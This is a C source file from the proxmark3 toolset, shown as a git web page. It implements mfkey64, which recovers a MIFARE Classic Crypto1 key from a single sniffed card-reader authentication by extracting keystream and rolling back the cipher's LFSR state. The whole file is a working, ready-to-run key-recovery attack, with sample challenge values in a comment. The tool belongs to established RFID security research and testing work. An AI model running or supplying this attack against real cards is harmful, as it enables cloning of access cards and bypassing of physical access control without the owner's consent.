git.zerfleddert.de Git - proxmark3-svn/blob - tools/mfkey/mfkey64.c

   1 #define __STDC_FORMAT_MACROS
   2 #include <inttypes.h>
   3 #define llx PRIx64
   4 #define lli PRIi64
   5
   6 // Test-file: test2.c
   7 #include "crapto1.h"
   8 #include <stdio.h>
   9
  10 int main (int argc, char *argv[]) {
  11   struct Crypto1State *revstate;
  12   uint64_t key;     // recovered key
  13   uint32_t uid;     // serial number
  14   uint32_t nt;      // tag challenge
  15   uint32_t nr_enc;  // encrypted reader challenge
  16   uint32_t ar_enc;  // encrypted reader response
  17   uint32_t at_enc;  // encrypted tag response
  18   uint32_t ks2;     // keystream used to encrypt reader response
  19   uint32_t ks3;     // keystream used to encrypt tag response
  20
  21   printf("MIFARE Classic key recovery - based 64 bits of keystream\n");
  22   printf("Recover key from only one complete authentication!\n\n");
  23
  24   if (argc < 6) {
  25     printf(" syntax: %s <uid> <nt> <{nr}> <{ar}> <{at}>\n\n",argv[0]);
  26     return 1;
  27   }
  28
  29   sscanf(argv[1],"%x",&uid);
  30   sscanf(argv[2],"%x",&nt);
  31   sscanf(argv[3],"%x",&nr_enc);
  32   sscanf(argv[4],"%x",&ar_enc);
  33   sscanf(argv[5],"%x",&at_enc);
  34
  35   printf("Recovering key for:\n");
  36   printf("  uid: %08x\n",uid);
  37   printf("   nt: %08x\n",nt);
  38   printf(" {nr}: %08x\n",nr_enc);
  39   printf(" {ar}: %08x\n",ar_enc);
  40   printf(" {at}: %08x\n",at_enc);
  41
  42 /*
  43   uint32_t uid                = 0x9c599b32;
  44   uint32_t tag_challenge      = 0x82a4166c;
  45   uint32_t nr_enc             = 0xa1e458ce;
  46   uint32_t reader_response    = 0x6eea41e0;
  47   uint32_t tag_response       = 0x5cadf439;
  48 */
  49         // Generate lfsr succesors of the tag challenge
  50   printf("\nLFSR succesors of the tag challenge:\n");
  51   printf("  nt': %08x\n",prng_successor(nt, 64));
  52   printf(" nt'': %08x\n",prng_successor(nt, 96));
  53
  54   // Extract the keystream from the messages
  55   printf("\nKeystream used to generate {ar} and {at}:\n");
  56   ks2 = ar_enc ^ prng_successor(nt, 64);
  57   ks3 = at_enc ^ prng_successor(nt, 96);
  58   printf("  ks2: %08x\n",ks2);
  59   printf("  ks3: %08x\n",ks3);
  60
  61   revstate = lfsr_recovery64(ks2, ks3);
  62   lfsr_rollback_word(revstate, 0, 0);
  63   lfsr_rollback_word(revstate, 0, 0);
  64   lfsr_rollback_word(revstate, nr_enc, 1);
  65   lfsr_rollback_word(revstate, uid ^ nt, 0);
  66   crypto1_get_lfsr(revstate, &key);
  67   printf("\nFound Key: [%012"llx"]\n\n",key);
  68   crypto1_destroy(revstate);
  69
  70   return 0;
  71 }